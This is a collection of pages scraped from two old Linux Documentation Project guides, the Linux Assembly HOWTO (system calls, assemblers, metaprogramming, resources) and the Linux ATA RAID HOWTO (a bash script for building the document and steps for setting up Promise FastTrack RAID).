Basically, you issue an int 0x80, with the __NR_syscallname number (from asm/unistd.h) in eax, and parameters (up to six) in ebx, ecx, edx, esi, edi, ebp respectively.

Result is returned in eax, with a negative result being an error, whose opposite is what libc would put into errno. The user-stack is not touched, so you needn't have a valid one when doing a syscall.

Note

Passing sixth parameter in ebp appeared in Linux 2.4, previous Linux versions understand only 5 parameters in registers.

Linux Kernel Internals, and especially How System Calls Are Implemented on i386 Architecture? chapter will give you more robust overview.

As for the invocation arguments passed to a process upon startup, the general principle is that the stack originally contains the number of arguments argc, then the list of pointers that constitute *argv, then a null-terminated sequence of null-terminated variable=value strings for the environment. For more details, do examine Linux assembly resources, read the sources of C startup code from your libc (crt0.S or crt1.S), or those from the Linux kernel (exec.c and binfmt_*.c in linux/fs/).

5.1.4. Hardware I/O under Linux

If you want to perform direct port I/O under Linux, either it's something very simple that does not need OS arbitration, and you should see the IO-Port-Programming mini-HOWTO; or it needs a kernel device driver, and you should try to learn more about kernel hacking, device driver development, kernel modules, etc, for which there are other excellent HOWTOs and documents from the LDP.

Particularly, if what you want is Graphics programming, then do join one of the GGI or XFree86 projects.

Some people have even done better, writing small and robust XFree86 drivers in an interpreted domain-specific language, GAL, and achieving the efficiency of hand C-written drivers through partial evaluation (drivers not only not in asm, but not even in C!). The problem is that the partial evaluator they used to achieve efficiency is not free software. Any taker for a replacement?

Anyway, in all these cases, you'll be better when using GCC inline assembly with the macros from linux/asm/*.h than writing full assembly source files.

5.1.5. Accessing 16-bit drivers from Linux/i386

Such thing is theoretically possible (proof: see how DOSEMU can selectively grant hardware port access to programs), and I've heard rumors that someone somewhere did actually do it (in the PCI driver? Some VESA access stuff? ISA PnP? dunno). If you have some more precise information on that, you'll be most welcome. Anyway, good places to look for more information are the Linux kernel sources, DOSEMU sources (and other programs in the DOSEMU repository), and sources for various low-level programs under Linux... (perhaps GGI if it supports VESA).

Basically, you must either use 16-bit protected mode or vm86 mode.

The first is simpler to setup, but only works with well-behaved code that won't do any kind of segment arithmetics or absolute segment addressing (particularly addressing segment 0), unless by chance it happens that all segments used can be setup in advance in the LDT.

The later allows for more "compatibility" with vanilla 16-bit environments, but requires more complicated handling.

In both cases, before you can jump to 16-bit code, you must

  • mmap any absolute address used in the 16-bit code (such as ROM, video buffers, DMA targets, and memory-mapped I/O) from /dev/mem to your process' address space,

  • setup the LDT and/or vm86 mode monitor.

  • grab proper I/O permissions from the kernel (see the above section)

Again, carefully read the source for the stuff contributed to the DOSEMU project, particularly these mini-emulators for running ELKS and/or simple .COM programs under Linux/i386.

Prev | Home | Next
Calling conventions | Up | DOS and Windows


Linux Assembly HOWTO

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1; with no Invariant Sections, with no Front-Cover Texts, and no Back-Cover texts.

Home


Metaprogramming

Linux Assembly HOWTO
Prev Chapter 4. Metaprogramming Next

4.2. Metaprogramming

Instead of using an external filter that expands macros, one way to do things is to write programs that write part or all of other programs.

For instance, you could use a program outputting source code

  • to generate sine/cosine/whatever lookup tables,

  • to extract a source-form representation of a binary file,

  • to compile your bitmaps into fast display routines,

  • to extract documentation, initialization/finalization code, description tables, as well as normal code from the same source files,

  • to have customized assembly code, generated from a perl/shell/scheme script that does arbitrary processing,

  • to propagate data defined at one point only into several cross-referencing tables and code chunks.

  • etc.

Think about it!

4.2.1. Backends from compilers

Compilers like GCC, SML/NJ, Objective CAML, MIT-Scheme, CMUCL, etc, do have their own generic assembler backend, which you might choose to use, if you intend to generate code semi-automatically from the according languages, or from a language you hack: rather than write great assembly code, you may instead modify a compiler so that it dumps great assembly code!

4.2.2. The New-Jersey Machine-Code Toolkit

There is a project, using the programming language Icon (with an experimental ML version), to build a basis for producing assembly-manipulating code. See around http://www.eecs.harvard.edu/~nr/toolkit/

4.2.3. TUNES

The TUNES Project for a Free Reflective Computing System is developing its own assembler as an extension to the Scheme language, as part of its development process. It doesn't run at all yet, though help is welcome.

The assembler manipulates abstract syntax trees, so it could equally serve as the basis for a assembly syntax translator, a disassembler, a common assembler/compiler back-end, etc. Also, the full power of a real language, Scheme, make it unchallenged as for macroprocessing/metaprogramming.

Prev | Home | Next
External filters | Up | Calling conventions


Metaprogramming

Linux Assembly HOWTO
Prev Next

Chapter 4. Metaprogramming

Table of Contents
4.1. External filters
4.1.1. CPP
4.1.2. M4
4.1.3. Macroprocessing with your own filter
4.2. Metaprogramming
4.2.1. Backends from compilers
4.2.2. The New-Jersey Machine-Code Toolkit
4.2.3. TUNES

Assembly programming is a bore, but for critical parts of programs.

You should use the appropriate tool for the right task, so don't choose assembly when it does not fit; C, OCaml, perl, Scheme, might be a better choice in the most cases.

However, there are cases when these tools do not give fine enough control on the machine, and assembly is useful or needed. In these cases you'll appreciate a system of macroprocessing and metaprogramming that allows recurring patterns to be factored each into one indefinitely reusable definition, which allows safer programming, automatic propagation of pattern modification, etc. Plain assembler often is not enough, even when one is doing only small routines to link with C.

Prev | Home | Next
Other Assemblers |  | External filters


NASM

Linux Assembly HOWTO
Prev Chapter 3. Assemblers Next

3.3. NASM

The Netwide Assembler project provides cool i386 assembler, written in C, that should be modular enough to eventually support all known syntaxes and object formats.

3.3.1. Where to find NASM

http://nasm.2y.net, http://www.cryogen.com/nasm/

Binary release on your usual metalab mirror in devel/lang/asm/ directory. Should also be available as .rpm or .deb in your usual RedHat/Debian distributions' contrib.

3.3.2. What it does

The syntax is Intel-style. Comprehensive macroprocessing support is integrated.

Supported object file formats are bin, aout, coff, elf, as86, obj (DOS), win32, rdf (their own format).

NASM can be used as a backend for the free LCC compiler (support files included).

Unless you're using BCC as a 16-bit compiler (which is out of scope of this 32-bit HOWTO), you should definitely use NASM instead of say AS86 or MASM, because it runs on all platforms.

Note

NASM comes with a disassembler, NDISASM.

Its hand-written parser makes it much faster than GAS, though of course, it doesn't support three bazillion different architectures. If you like Intel-style syntax, as opposed to GAS syntax, then it should be the assembler of choice..

Note: There are few programs which may help you to convert source code between AT&T and Intel assembler syntaxes; some of the are capable of performing conversion in both directions.

Prev | Home | Next
GAS | Up | AS86


Other Assemblers

Linux Assembly HOWTO
Prev Chapter 3. Assemblers Next

3.5. Other Assemblers

There are other assemblers with various interesting and outstanding features which may be of your interest as well.

Note

They can be in various stages of development, and can be non-classic/high-level/whatever else.

3.5.1. YASM

YASM is a complete rewrite of the NASM assembler under the GNU GPL (some portions are under the "new" BSD License). It is designed from the ground up to allow for multiple syntaxes to be supported (eg, NASM, TASM, GAS, etc.) in addition to multiple output object formats. Another primary module of the overall design is an optimizer module.

It looks promising; it is under heavy development, and you may want to take part. See http://www.tortall.net/projects/yasm/.

3.5.2. OSIMPA (SHASM)

osimpa is an assembler for Intel 80386 processors and subsequent, written entirely in the GNU Bash command interpreter shell. The predecessor of osimpa was shasm. osimpa is much cleaned up, can create useful Linux ELF executables, and has various HLL-like extensions and programmer convenience commands.

It is (of course) slower than other assemblers. It has its own syntax (and uses its own names for x86 opcodes) Fairly good documentation is included. Check it out: ftp://linux01.gwdg.de/pub/cLIeNUX/interim/. Probably you'll not use it on regular basis, but at least it deserves your interest as an interesting idea.

3.5.3. TDASM

The Table Driven Assembler (TDASM) is a free portable cross assembler for any kind of assembly language. It should be possible to use it as a compiler to any target microprocessor using a table that defines the compilation process.

It is available from http://www.penguin.cz/~niki/tdasm/.

3.5.4. Free Pascal

Free Pascal has an internal 32-bit assembler (based on NASM tables) and a switchable output that allows:

  • Binary (ELF and coff when crosscompiled .o) output

  • NASM

  • MASM

  • TASM

  • AS (aout,coff, elf32)

The MASM and TASM output are not as good debugged as the other two, but can be handy sometimes.

The assembler's look and feel are based on Turbo Pascal's internal BASM, and the IDE supports similar highlighting, and FPC can fully integrate with gcc (on C level, not C++).

Using a dummy RTL, one can even generate pure assembler programs.

3.5.5. Win32Forth assembler

Win32Forth is a free 32-bit ANS FORTH system that successfully runs under Win32s, Win95, Win/NT. It includes a free 32-bit assembler (either prefix or postfix syntax) integrated into the reflective FORTH language. Macro processing is done with the full power of the reflective language FORTH; however, the only supported input and output contexts is Win32For itself (no dumping of .obj file, but you could add that feature yourself, of course). Find it at ftp://ftp.forth.org/pub/Forth/Compilers/native/windows/Win32For/.

3.5.6. Terse

Terse is a programming tool that provides THE most compact assembler syntax for the x86 family! However, it is evil proprietary software. It is said that there was a project for a free clone somewhere, that was abandoned after worthless pretenses that the syntax would be owned by the original author. Thus, if you're looking for a nifty programming project related to assembly hacking, I invite you to develop a terse-syntax frontend to NASM, if you like that syntax.

As an interesting historic remark, on comp.compilers,

1999/07/11 19:36:51, the moderator wrote:

"There's no reason that assemblers have to have awful syntax. About
30 years ago I used Niklaus Wirth's PL360, which was basically a S/360
assembler with Algol syntax and a a little syntactic sugar like while
loops that turned into the obvious branches. It really was an
assembler, e.g., you had to write out your expressions with explicit
assignments of values to registers, but it was nice. Wirth used it to
write Algol W, a small fast Algol subset, which was a predecessor to
Pascal. As is so often the case, Algol W was a significant
improvement over many of its successors. -John"

3.5.7. HLA

HLA is a High Level Assembly language. It uses a high level language like syntax (similar to Pascal, C/C++, and other HLLs) for variable declarations, procedure declarations, and procedure calls. It uses a modified assembly language syntax for the standard machine instructions. It also provides several high level language style control structures (if, while, repeat..until, etc.) that help you write much more readable code.

HLA is free, but runs only under Win32. You need MASM and a 32-bit version of MS-link, because HLA produces MASM code and uses MASM for final assembling and linking. However it comes with m2t (MASM to TASM) post-processor program that converts the HLA MASM output to a form that will compile under TASM. Unfortunately, NASM is not supported.

3.5.8. TALC

TALC is another free MASM/Win32 based compiler (however it supports ELF output, does it?).

TAL stands for Typed Assembly Language. It extends traditional untyped assembly languages with typing annotations, memory management primitives, and a sound set of typing rules, to guarantee the memory safety, control flow safety,and type safety of TAL programs. Moreover, the typing constructs are expressive enough to encode most source language programming features including records and structures, arrays, higher-order and polymorphic functions, exceptions, abstract data types, subtyping, and modules. Just as importantly, TAL is flexible enough to admit many low-level compiler optimizations. Consequently, TAL is an ideal target platform for type-directed compilers that want to produce verifiably safe code for use in secure mobile code applications or extensible operating system kernels.

3.5.9. Non-free and/or Non-32bit x86 assemblers

You may find more about them, together with the basics of x86 assembly programming, in the Raymond Moon's x86 assembly FAQ.

Note that all DOS-based assemblers should work inside the Linux DOS Emulator, as well as other similar emulators, so that if you already own one, you can still use it inside a real OS. Recent DOS-based assemblers also support COFF and/or other object file formats that are supported by the GNU BFD library, so that you can use them together with your free 32-bit tools, perhaps using GNU objcopy (part of the binutils) as a conversion filter.

Prev | Home | Next
AS86 | Up | Metaprogramming


Your own OS

Linux Assembly HOWTO
Prev Chapter 5. Calling conventions Next

5.3. Your own OS

Control is what attracts many OS developers to assembly, often is what leads to or stems from assembly hacking. Note that any system that allows self-development could be qualified an "OS", though it can run "on the top" of an underlying system (much like Linux over Mach or OpenGenera over Unix).

Hence, for easier debugging purpose, you might like to develop your "OS" first as a process running on top of Linux (despite the slowness), then use the Flux OS kit (which grants use of Linux and BSD drivers in your own OS) to make it stand-alone. When your OS is stable, it is time to write your own hardware drivers if you really love that.

This HOWTO will not cover topics such as bootloader code, getting into 32-bit mode, handling Interrupts, the basics about Intel protected mode or V86/R86 braindeadness, defining your object format and calling conventions.

The main place where to find reliable information about that all, is source code of existing OSes and bootloaders. Lots of pointers are on the following webpage: http://www.tunes.org/Review/OSes.html

Prev | Home | Next
DOS and Windows | Up | Quick start


Quick start

Linux Assembly HOWTO
Prev Next

Chapter 6. Quick start

Table of Contents
6.1. Introduction
6.2. Hello, world!
6.2.1. Program layout
6.2.2. NASM (hello.asm)
6.2.3. GAS (hello.S)
6.3. Building an executable
6.3.1. Producing object code
6.3.2. Producing executable
Prev | Home | Next
Your own OS |  | Introduction


Resources

Linux Assembly HOWTO
Prev Next

Chapter 7. Resources

Table of Contents
7.1. Pointers
7.2. Mailing list

7.1. Pointers

Your main resource for Linux/UNIX assembly programming material is:

http://linuxassembly.org/resources.html

Do visit it, and get plenty of pointers to assembly projects, tools, tutorials, documentation, guides, etc, concerning different UNIX operating systems and CPUs. Because it evolves quickly, I will no longer duplicate it here.

If you are new to assembly in general, here are few starting pointers:

  • The Art Of Assembly

  • x86 assembly FAQ

  • ftp.luth.se mirrors the hornet and x2ftp former archives of msdos assembly coding stuff

  • CoreWars, a fun way to learn assembly in general

  • Usenet: comp.lang.asm.x86; alt.lang.asm

7.2. Mailing list

If you're are interested in Linux/UNIX assembly programming (or have questions, or are just curious) I especially invite you to join Linux assembly programming mailing list.

This is an open discussion of assembly programming under Linux, *BSD, BeOS, or any other UNIX/POSIX like OS; also it is not limited to x86 assembly (Alpha, Sparc, PPC and other hackers are welcome too!).

Mailing list address is <linux-assembly@vger.kernel.org>.

To subscribe send a messgage to <majordomo@vger.kernel.org> with the following line in the body of the message:
subscribe linux-assembly

Detailed information and list archives are available at http://linuxassembly.org/list.html.

Prev | Home | Next
Building an executable |  | Frequently Asked Questions


Pros and Cons

Linux Assembly HOWTO
Prev Chapter 2. Do you need assembly? Next

2.1. Pros and Cons

2.1.1. The advantages of Assembly

Assembly can express very low-level things:

  • you can access machine-dependent registers and I/O

  • you can control the exact code behavior in critical sections that might otherwise involve deadlock between multiple software threads or hardware devices

  • you can break the conventions of your usual compiler, which might allow some optimizations (like temporarily breaking rules about memory allocation, threading, calling conventions, etc)

  • you can build interfaces between code fragments using incompatible conventions (e.g. produced by different compilers, or separated by a low-level interface)

  • you can get access to unusual programming modes of your processor (e.g. 16 bit mode to interface startup, firmware, or legacy code on Intel PCs)

  • you can produce reasonably fast code for tight loops to cope with a bad non-optimizing compiler (but then, there are free optimizing compilers available!)

  • you can produce hand-optimized code perfectly tuned for your particular hardware setup, though not to someone else's

  • you can write some code for your new language's optimizing compiler (that is something what very few ones will ever do, and even they not often)

  • i.e. you can be in complete control of your code

2.1.2. The disadvantages of Assembly

Assembly is a very low-level language (the lowest above hand-coding the binary instruction patterns). This means

  • it is long and tedious to write initially

  • it is quite bug-prone

  • your bugs can be very difficult to chase

  • your code can be fairly difficult to understand and modify, i.e. to maintain

  • the result is non-portable to other architectures, existing or upcoming

  • your code will be optimized only for a certain implementation of a same architecture: for instance, among Intel-compatible platforms each CPU design and its variations (relative latency, through-output, and capacity, of processing units, caches, RAM, bus, disks, presence of FPU, MMX, 3DNOW, SIMD extensions, etc) implies potentially completely different optimization techniques. CPU designs already include: Intel 386, 486, Pentium, PPro, PII, PIII, PIV; Cyrix 5x86, 6x86, M2; AMD K5, K6 (K6-2, K6-III), K7 (Athlon, Duron). New designs keep popping up, so don't expect either this listing and your code to be up-to-date.

  • you spend more time on a few details and can't focus on small and large algorithmic design, that are known to bring the largest part of the speed up (e.g. you might spend some time building very fast list/array manipulation primitives in assembly; only a hash table would have sped up your program much more; or, in another context, a binary tree; or some high-level structure distributed over a cluster of CPUs)

  • a small change in algorithmic design might completely invalidate all your existing assembly code. So that either you're ready (and able) to rewrite it all, or you're tied to a particular algorithmic design

  • On code that ain't too far from what's in standard benchmarks, commercial optimizing compilers outperform hand-coded assembly (well, that's less true on the x86 architecture than on RISC architectures, and perhaps less true for widely available/free compilers; anyway, for typical C code, GCC is fairly good);

  • And in any case, as says moderator John Levine on comp.compilers,

    "compilers make it a lot easier to use complex data structures,
    and compilers don't get bored halfway through
    and generate reliably pretty good code."

    They will also correctly propagate code transformations throughout the whole (huge) program when optimizing code between procedures and module boundaries.

2.1.3. Assessment

All in all, you might find that though using assembly is sometimes needed, and might even be useful in a few cases where it is not, you'll want to:

  • minimize use of assembly code

  • encapsulate this code in well-defined interfaces

  • have your assembly code automatically generated from patterns expressed in a higher-level language than assembly (e.g. GCC inline assembly macros)

  • have automatic tools translate these programs into assembly code

  • have this code be optimized if possible

  • All of the above, i.e. write (an extension to) an optimizing compiler back-end.

Even when assembly is needed (e.g. OS development), you'll find that not so much of it is required, and that the above principles retain.

See the Linux kernel sources concerning this: as little assembly as needed, resulting in a fast, reliable, portable, maintainable OS. Even a successful game like DOOM was almost massively written in C, with a tiny part only being written in assembly for speed up.

Prev | Home | Next
Do you need assembly? | Up | How to NOT use Assembly


Introduction

Linux Assembly HOWTO
Prev Chapter 6. Quick start Next

6.1. Introduction

Finally, if you still want to try this crazy idea and write something in assembly (if you've reached this section -- you're real assembly fan), here's what you need to start.

As you've read before, you can write for Linux in different ways; I'll show how to use direct kernel calls, since this is the fastest way to call kernel service; our code is not linked to any library, does not use ELF interpreter, it communicates with kernel directly.

I will show the same sample program in two assemblers, nasm and gas, thus showing Intel and AT&T syntax.

You may also want to read Introduction to UNIX assembly programming tutorial, it contains sample code for other UNIX-like OSes.

6.1.1. Tools you need

First of all you need assembler (compiler) -- nasm or gas.

Second, you need a linker -- ld, since assembler produces only object code. Almost all distributions have gas and ld, in the binutils package.

As for nasm, you may have to download and install binary packages for Linux and docs from the nasm site; note that several distributions (Stampede, Debian, SuSe, Mandrake) already have nasm, check first.

If you're going to dig in, you should also install include files for your OS, and if possible, kernel source.

Prev | Home | Next
Quick start | Up | Hello, world!


How is this document generated

Linux ATA RAID HOWTO
Prev

A. How is this document generated

So you want to know how I generated this HOWTO? Or, did you download SGML version of this document, modified some portions in it and now want to know how you can create HOWTO?

I made sure there are no errors in my SGML by first typing the command nsgmls -s ataraid.sgml. I created a script called makehowto and ran the command ./makehowto ataraid.sgml. Here is the my makehowto script:

#!/bin/bash
#
# makehowto by Murty Rompalli
# (c) All Rights Reserved
# Free for non commercial use. All other uses must be authorized explicitly
# by the creator. Contact me for more info. murty@solar.m u r t y.net
#

function maketut() {
echo;echo Creating Tutorial Files ...
jade \
    -t sgml \
    -d /usr/lib/sgml/stylesheets/nwalsh-modular/html/ldp.dsl\#html \
    $1.sgml
}

function makehtml {
echo;echo Creating html file: $1.html ...
jade \
    -t sgml \
    -d /usr/lib/sgml/stylesheets/nwalsh-modular/html/docbook.dsl \
    -V nochunks \
    $1.sgml > $1.html
}

function maketxt {
    if [ -f $1.html ]
    then
        echo;echo Creating text file: $1.txt ...
        lynx -dump $1.html > $1.txt
    else
        echo;echo $1.html not found, creating ...
        makehtml $1
        maketxt $1
    fi
}

function makepdf {
    [ -f $1.ps ] && gzip $1.ps

    if [ -f $1.ps.gz ]
    then
        echo;echo Creating pdf file: $1.pdf ...
        gzip -dc $1.ps.gz |
        gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=$1.pdf -
    else
        echo;echo $1.ps.gz not found creating ...
        makeps $1
        makepdf $1
    fi
}

function maketex {
echo;echo Creating TeX file $1.tex ...
jade \
    -t tex \
    -d /usr/lib/sgml/stylesheets/cygnus-both.dsl\#print \
    $1.sgml
gzip $1.tex
echo $1.tex gzipped to $1.tex.gz
}

function makedvi {
echo;echo Creating DVI file $1.dvi ...
db2dvi $1.sgml  >/dev/null 2>&1
echo See $1.log for errors
gzip $1.dvi
echo $1.dvi gzipped to $1.dvi.gz
}

function makeps {
echo;echo Creating PS file $1.ps ...
db2ps $1.sgml  >/dev/null 2>&1
echo See $1.log for errors
gzip $1.ps
echo $1.ps gzipped to $1.ps.gz
}

#### Begin Main Program

echo "
makehowto utility for generating HOWTO from SGML file.
(c) Murty Rompalli
"

[ x$1 = x ] &&
echo "Error. Usage: $0 abc.sgml '{tut|html|pdf|tex|dvi|ps|all}'

Option 'all' is default if sgml file is the only option supplied.

Options:
-------
tut	Make complete tutorial, i.e., generate necessary html files
html	Make a printable single HTML file
pdf	Make a PDF file
tex	Make a TeX source file, gzipped
dvi	Make a DVI file, gzipped
ps	Make a PostScript file, gzipped
all	Generate all possible formats.

" && exit

file="`echo $1|sed 's/\.sgml$//'`"

[ x$file = x ] &&
echo Error. Usage: $0 abc.sgml '{tut|html|tex|dvi|ps|all}' && exit

[ -f $file.sgml ] || {
echo Error. $file.sgml does not exist
exit
}

[ -r $file.sgml ] || {
echo Error. $file.sgml not readable
exit
}

if [ x$2 = x ]
then
    action=all
else
    action=$2
fi

case $action in
tut|tutorial) maketut $file
        ;;
html|htm) makehtml $file
        ;;
tex|latex) maketex $file
        ;;
dvi) makedvi $file
        ;;
ps) makeps $file
        ;;
text|txt) maketxt $file
        ;;
pdf) makepdf $file
        ;;
all) 	maketut $file
    makehtml $file
    maketex $file
    makedvi $file
    makeps $file
    maketxt $file
    makepdf $file
    ;;
*) echo error
    ;;
esac

\rm -f $file.aux
\rm -f $file.tex
\rm -f $file.dvi

echo;echo makehowto: Finished
echo You can review $file.log and delete it.
echo Thank you for using makehowto.
echo

You can also just type ./makehowto ataraid.sgml pdf, for example, if you just want create PDF version. Just type ./makehowto to get more help on using the script. Click here to download this makehowto script.

Prev | Home
For more information |


Disabling RAID feature on Promise FastTrack

Linux ATA RAID HOWTO
Prev Next

9. Disabling RAID feature on Promise FastTrack

If you are reading this section, then you may be sick and tired of the fake RAID feature (formally known as quasi-hardware RAID) provided by Promise Technology FastTrack card or onboard chip on your motherboard.

9.1. Case 1: OS not using RAID

It is possible to disable the RAID feature and use the Promise FastTrack as a plain vanilla IDE card. It is very simple. Follow the below steps:

  1. Determine your Append Line. See Section 7.2 for help with this

  2. Modify /etc/lilo.conf to include append="Append Line" in your current kernel boot section. Again see Section 7.2 for details.

  3. Type /sbin/lilo and reboot

Now you should see your hard disks seperately and you can use them. If you previously had partitions on the RAID mirror, you will see partitions accordingly on each of the two member disks. You will also see the data that you previously stored on the RAID mirror.

9.2. Case 2: OS is using RAID

If you want to disable RAID on a Linux computer that is using RAID mirror partitions for /, /boot, /usr etc., then first backup your data including /usr/src/linux/.config, /etc/fstab, /boot/vmlinux. Power off your computer. Then turn it on. At the boot: prompt, type linux followed by Append Line. If your system does not boot successfully, then insert your emergency rescue/boot floppy disk, boot off of that floppy disk and type at the boot: prompt linux followed by Append Line. If you still cannot boot, then you cannot disable RAID non-destructively, which means you have to boot off of the RedHat CDROM #1 and re-install Linux, again by typing linux followed by Append Line at the boot: prompt.

If your Linux machine boots successfully, then first make sure that all data is available and clean. Make sure that files in /boot are not corrupt. In some cases, the ASCII configuration files in /boot and LILO binary files may be corrupt. If that happens, you have to restore them from backup or reconfigure /etc/lilo.conf, run /sbin/lilo and recompile and reinstall the kernel (recompile with unmodified .config, i.e., without Promise RAID support).

If your Linux machine boots up and all files are safe, then add Append Line to /etc/lilo.conf, run /sbin/lilo and reboot.

If you disabled RAID on OS disks and then later changed your mind, then you have to back up data and reinstall Linux. If you change mind this way and want your RAID back on your Linux OS disks, you may have to sacrifice your current data.

Prev | Home | Next
Upgrading Kernel |  | Tips and Important Notes


Installing on an existing Linux system

Linux ATA RAID HOWTO
Prev Next

7. Installing on an existing Linux system

This section explains how to install Linux Native ATA RAID on non-OS disks you may have on a running Linux machine. Non-OS disks are those which do not contain any Linux OS partitions such as /, /usr, /var, /boot. In other words, we have a working Linux machine with two free disks and we want to setup ATA RAID mirror (raid 1) on those two disks. When we save important data on such a mirror device, our data is protected. Ofcourse, like any other RAID 1, we will experience improved read speeds while reading the data and slightly decreased write speeds while modifying or adding new data to the mirror device. Therefore, using RAID 1 for data disks is recommended if the data disk is more frequently read than written to. A web server hosting rarely changing web sites is a good example where web content is rarely modified but very frequently accessed by users.

Here are the steps to install non-OS ATA RAID if your RAID chip is from Promise Technology:

  • Find out IO address numbers and IRQ number(s) for your Promise RAID chip/card.

  • Edit /etc/lilo.conf and insert appropriate Append Line

  • Enable ataraid support either by automatically loading ataraid module when your Linux machine starts up or by statically building ataraid support into your kernel

7.1. Append Line

For the purpose of understanding various tasks involving Promise FastTrack RAID such as upgrading or troubleshooting, we introduce a noun: Append Line

All the ide options you pass at the LILO boot: prompt at the time of booting, when put together as a string, make up the Append Line. All the ide options in double quotes after append= keyword in /etc/lilo.conf also make up the Append Line.

For example, if you type

linux-new ide2=0x0001,0x0009,9 ide3=0x2000,0x2009,10 ide4=none nousb expert root=/dev/hda3

at boot: prompt at the time of booting your Linux computer, then Append Line is the string

ide2=0x0001,0x0009,9 ide3=0x2000,0x2009,10 ide4=none.

Similarly, if your /etc/lilo.conf has the following section, your Append Line is

ide2=0x9400,0x9002 ide3=0x8800,0x8402.

image=/boot/vmlinuz-2.4.9-10
    label=linuxold
    read-only
    root=/dev/hde9
    append="nousb ide2=0x9400,0x9002 ide3=0x8800,0x8402"
    initrd="initrd.img"

When we experience problems booting a Linux machine with RAID, we may have to use an appropriate Append Line. Therefore, it is important to determine and write down the Append Line. This will help you fix your problems later or upgrade your kernel smoothly or add/remove additional hard disks.

7.2. Determining the Append Line

To determine the correct Append Line, we should first know how all our ide devices are connected. IDE devices can be hard disks, ATAPI CDROM(s) etc. Once we determine the Append Line, we can append it to the boot: options (at the time of booting) or we can alternatively assign it as a string value to the append paramater in /etc/lilo.conf. Unless you love to remember complicated boot: options and type them at boot time every time, you should choose the second method, i.e., insert it into /etc/lilo.conf . You can do so by inserting append="Your Append Line Here", saving file and then activating new /etc/lilo.conf by running the command /sbin/lilo.

For the purpose of understanding better, lets say that your ide devices are as follows:

  • ide0: hda , hdb (hard disks)

  • ide1: hdc , hdd (hard disks or other ide devices like CDROM)

  • ide2: hde (first free disk)

  • ide3: hdg (second free disk)

The two free disks above (hde and hdg) are the ones we would like to setup as RAID 1 to create /dev/ataraid/d0 raid device. Note that we do not have hdf or hdh because that is how we used the IDE/RAID ports on Promise chip. It is not a good idea to connect two hard disks to the same Promise controller IDE port. In the above example, we used Primary Master and Secondary Master connections on the Promise Technology card.

If you do not know how various ide devices are connected in your computer, take a look at /proc/devices and /proc/ide/*. You can also carefully go through boot log file, /var/log/bootlog (or type dmesg | more right after your Linux system boots) to find your ide devices. Now type less /proc/pci and locate appropriate information about Promise Technology. In the output of less /proc/pci, you can see somewhere information about your Promise chip, something like:

 Bus  0, device  17, function  0:
    Unknown mass storage controller: Promise Technology Unknown device (rev 2).
      Vendor id=105a. Device id=d30.
      Medium devsel.  IRQ 10.  Master Capable.  Latency=32.
      I/O at 0x9400 [0x9401].
      I/O at 0x9000 [0x9001].
      I/O at 0x8800 [0x8801].
      I/O at 0x8400 [0x8401].
      I/O at 0x8000 [0x8001].
      Non-prefetchable 32 bit memory at 0xd5800000 [0xd5800000].

From this output, we learn that our Promise Technology card uses IRQ 10 for both ide ports (ide2 and ide3). Using same IRQ is perfectly alright as long as your kernel supports PCI IRQ Sharing. By default, our Linux kernel is configured to support PCI IRQ sharing. From the above output, we also learn that our Promise Technology card uses various IO addresses. For the purpose of identifying Promise Technology disks properly at boot time, we only want the IRQ number(s) and the first four IO Address numbers outside [ ]. Write down on a piece of paper this information. In this case, from the above output:

IRQ1 = 10
IRQ2 = 10
IO1 = 0x9400
IO2 = 0x9000
IO3 = 0x8800
IO4 = 0x8400

Now, we have to evaluate the following to obtain the correct Append Line. Then either specify this Append Line at boot time or specify it in lilo configuration file.

ideX=IO1,IO2+0x0002,IRQ1 ideY=IO3,IO4+0x0002,IRQ2
where ideX and ideY are the two IDE ports of Promise card our free disks are using.

In our example, the above Append Line will become:

ide2=0x9400,0x9002,10 ide3=0x8800,0x8402,10

If, for example, we want to boot kernel version 2.4.18, labelled linux according to /etc/lilo.conf, then we specify our Append Line in one of the following two methods:

  1. At boot time
    boot: linux ide2=0x9400,0x9002,10 ide3=0x8800,0x8402,10
    If you choose this method, you should manually type the Append Line after the kernel label linux everytime you boot your Linux machine.

  2. In /etc/lilo.conf
    image=/boot/vmlinuz-2.2.18
    label=linux
    read-only
    root=/dev/hda1
    append="ide2=0x9400,0x9002,10 ide3=0x8800,0x8402,10"
    If you choose this method, you have to run lilo once to activate changes by typing /sbin/lilo. And you do not have to type anything extra at boot time.

7.3. Setting Up RAID 1

If you want to setup RAID 1 using Promise Technology proprietary driver (ft.o), you can download Promise Driver (ft.o) into /lib/modules/kernel-version and load the module by typing modprobe -k ft. You should then be able to access your new raid device as /dev/sdc or something like that. But if it does not work, then determine your Append Line and add it to /etc/lilo.conf. If you are setting up RAID on an existing Linux system and are using either Promise Technology ft driver or Linux native ataraid driver, then use of Append Line in /etc/lilo.conf is strongly recommended. Once you reboot with your new /etc/lilo.conf that contains Append Line, you can load either driver (ft.o from Promise Technology or ataraid.o, the Linux Native RAID module) to enable RAID except when your kernel has built-in ataraid support in which case you do not have to load ataraid module.

As Linux Native RAID is recommended, let us discuss that in detail. To setup Linux Native RAID on an existing Linux machine, insert Append Line into /etc/lilo.conf as explained above. Now, activate changes by typing /sbin/lilo. Then reboot your computer. After your computers reboots, load ataraid module manually if your kernel does not have ataraid built-in support or ataraid.o module failed to load for some reason. If you compiled your kernel with static ataraid support (ataraid not as module), then you can start formatting and using your mirror disk /dev/ataraid/d0 right away.

But if you compile ataraid as a seperate module, then type lsmod and see ataraid is listed. If not, manually load it by typing modprobe -k ataraid. If you dont see any errors, then you can start using your mirror disk /dev/ataraid/d0 right away. Format it, mount it and use it just like you normally do.

The fact that you can use /dev/ataraid/d0 implies that you are successful in your mission. Please do not access /dev/hde, /dev/hdg or any of their partitions directly, although Linux will let you do that. Once you make a mirror device from two disks, you should always access the mirror device and not the disks directly.

Prev | Home | Next
Installing Native Linux RAID |  | Upgrading Kernel


Linux ATA RAID HOWTO

Murty Rompalli

murty@solar.m u r t y.n e t

April 26, 2002

Revision History
Revision 2.0 | 2002-05-10 | Revised by: mr
Major enhancements
Revision 1.3 | 2002-05-07 | Revised by: jyg
format fixes
Revision 1.2 | 2002-04-30 | Revised by: mr
Minor fixes
Revision 1.1 | 2002-04-28 | Revised by: ldl
Some minor changes and sgml-improvements
Revision 1.0 | 2002-04-26 | Revised by: mr
Initial Release

